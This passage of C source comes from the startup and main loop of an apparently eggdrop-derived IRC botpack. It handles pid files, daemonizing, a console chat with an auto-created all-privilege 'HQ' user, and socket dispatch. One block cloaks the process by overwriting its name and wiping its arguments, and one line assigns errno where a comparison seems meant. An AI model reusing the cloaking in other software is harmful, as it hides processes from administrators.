  1591. if (errno != ESRCH) { //!= is PID is running.
  1592. sdprintf(STR("%s is already running, pid: %d"), botnetnick, xx);
  1593. bg_send_quit(BG_ABORT);
  1594. exit(1);
  1595. }
  1596. }
  1597. }
  1598. #ifdef LEAF
  1599. #ifdef S_PSCLOAK
  1600. if (pscloak) {
  1601. int on = 0;
  1602. strncpy(argv[0],progname(),strlen(argv[0]));
  1603. //this clears all the params..
  1604. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1605. }
  1606. #endif /* PSCLOAK */
  1607. #endif /* LEAF */
  1608. i = 0;
  1609. for (chan = chanset; chan; chan = chan->next)
  1610. i++;
  1611. putlog(LOG_MISC, "*", STR("=== %s: %d channels, %d users."),
  1612. botnetnick, i, count_users(userlist));
  1613. /* Move into background? */
  1614. if (backgrd) {
  1615. #ifndef CYGWIN_HACKS
  1616. bg_do_split();
  1617. } else { /* !backgrd */
  1618. #endif /* CYGWIN_HACKS */
  1619. xx = getpid();
  1620. if (xx != 0) {
  1621. FILE *fp;
  1622. /* Write pid to file */
  1623. unlink(pid_file);
  1624. fp = fopen(pid_file, "w");
  1625. if (fp != NULL) {
  1626. fprintf(fp, "%u\n", xx);
  1627. if (fflush(fp)) {
  1628. /* Let the bot live since this doesn't appear to be a botchk */
  1629. printf(EGG_NOWRITE, pid_file);
  1630. fclose(fp);
  1631. unlink(pid_file);
  1632. } else
  1633. fclose(fp);
  1634. } else
  1635. printf(EGG_NOWRITE, pid_file);
  1636. #ifdef CYGWIN_HACKS
  1637. printf(STR("Launched into the background (pid: %d)\n\n"), xx);
  1638. #endif /* CYGWIN_HACKS */
  1639. }
  1640. }
  1641. use_stderr = 0; /* Stop writing to stderr now */
  1642. if (backgrd) {
  1643. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1644. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1645. setpgid(0, 0);
  1646. #endif
  1647. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1648. freopen("/dev/null", "r", stdin);
  1649. freopen("/dev/null", "w", stdout);
  1650. freopen("/dev/null", "w", stderr);
  1651. #ifdef CYGWIN_HACKS
  1652. FreeConsole();
  1653. #endif /* CYGWIN_HACKS */
  1654. }
  1655. /* Terminal emulating dcc chat */
  1656. if (!backgrd && term_z) {
  1657. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1658. dcc[n].addr = iptolong(getmyip());
  1659. dcc[n].sock = STDOUT;
  1660. dcc[n].timeval = now;
  1661. dcc[n].u.chat->con_flags = conmask;
  1662. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1663. dcc[n].status = STAT_ECHO;
  1664. strcpy(dcc[n].nick, "HQ");
  1665. strcpy(dcc[n].host, "llama@console");
  1666. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1667. /* Make sure there's an innocuous HQ user if needed */
  1668. if (!dcc[n].user) {
  1669. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1670. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1671. }
  1672. setsock(STDOUT, 0); /* Entry in net table */
  1673. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1674. dcc_chatter(n);
  1675. }
  1676. then = now;
  1677. online_since = now;
  1678. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1679. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1680. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1681. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1682. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1683. add_hook(HOOK_HALFHOURLY, (Function) core_halfhourly);
  1684. add_hook(HOOK_REHASH, (Function) event_rehash);
  1685. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1686. add_hook(HOOK_USERFILE, (Function) event_save);
  1687. #ifdef HUB
  1688. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1689. #endif /* HUB */
  1690. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1691. add_hook(HOOK_LOADED, (Function) event_loaded);
  1692. call_hook(HOOK_LOADED);
  1693. debug0(STR("main: entering loop"));
  1694. while (1) {
  1695. int socket_cleanup = 0;
  1696. /* Process a single tcl event */
  1697. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1698. /* Lets move some of this here, reducing the numer of actual
  1699. * calls to periodic_timers
  1700. */
  1701. #ifdef S_UTCTIME
  1702. now_tmp = time(NULL);
  1703. now = mktime(gmtime(&now_tmp));
  1704. #else
  1705. now = time(NULL);
  1706. #endif /* S_UTCTIME */
  1707. random(); /* Woop, lets really jumble things */
  1708. if (now != then) { /* Once a second */
  1709. call_hook(HOOK_SECONDLY);
  1710. then = now;
  1711. }
  1712. /* Only do this every so often. */
  1713. if (!socket_cleanup) {
  1714. socket_cleanup = 5;
  1715. /* Remove dead dcc entries. */
  1716. dcc_remove_lost();
  1717. /* Check for server or dcc activity. */
  1718. dequeue_sockets();
  1719. } else
  1720. socket_cleanup--;
  1721. /* Free unused structures. */
  1722. garbage_collect();
  1723. xx = sockgets(buf, &i);
  1724. if (xx >= 0) { /* Non-error */
  1725. int idx;
  1726. for (idx = 0; idx < dcc_total; idx++)
  1727. if (dcc[idx].sock == xx) {
  1728. if (dcc[idx].type && dcc[idx].type->activity) {
  1729. /* Traffic stats */
  1730. if (dcc[idx].type->name) {
  1731. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1732. itraffic_bn_today += strlen(buf) + 1;
  1733. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1734. itraffic_irc_today += strlen(buf) + 1;
  1735. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1736. itraffic_dcc_today += strlen(buf) + 1;
  1737. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1738. itraffic_dcc_today += strlen(buf) + 1;
  1739. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1740. itraffic_trans_today += strlen(buf) + 1;
  1741. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1742. itraffic_trans_today += strlen(buf) + 1;
  1743. else
  1744. itraffic_unknown_today += strlen(buf) + 1;
  1745. }
  1746. dcc[idx].type->activity(idx, buf, i);
  1747. } else
  1748. putlog(LOG_MISC, "*",
  1749. "!!! untrapped dcc activity: type %s, sock %d",
  1750. dcc[idx].type->name, dcc[idx].sock);
  1751. break;
  1752. }
  1753. } else if (xx == -1) { /* EOF from someone */
  1754. int idx;
  1755. if (i == STDOUT && !backgrd)
  1756. fatal(STR("END OF FILE ON TERMINAL"), 0);
  1757. for (idx = 0; idx < dcc_total; idx++)
  1758. if (dcc[idx].sock == i) {
  1759. if (dcc[idx].type && dcc[idx].type->eof)
  1760. dcc[idx].type->eof(idx);
  1761. else {
  1762. putlog(LOG_MISC, "*",
  1763. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1764. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1765. killsock(i);
  1766. lostdcc(idx);
  1767. }
  1768. idx = dcc_total + 1;
  1769. }
  1770. if (idx == dcc_total) {
  1771. putlog(LOG_MISC, "*",
  1772. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1773. close(i);
  1774. killsock(i);
  1775. }
  1776. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1777. putlog(LOG_MISC, "*", STR("* Socket error #%d; recovering."), errno);
  1778. for (i = 0; i < dcc_total; i++) {
  1779. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1780. putlog(LOG_MISC, "*",
  1781. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1782. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1783. killsock(dcc[i].sock);
  1784. lostdcc(i);
  1785. i--;
  1786. }
  1787. }
  1788. } else if (xx == -3) {
  1789. call_hook(HOOK_IDLE);
  1790. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1791. }
  1792. if (do_restart) {
  1793. rehash();
  1794. do_restart = 0;
  1795. }
  1796. }
  1797. }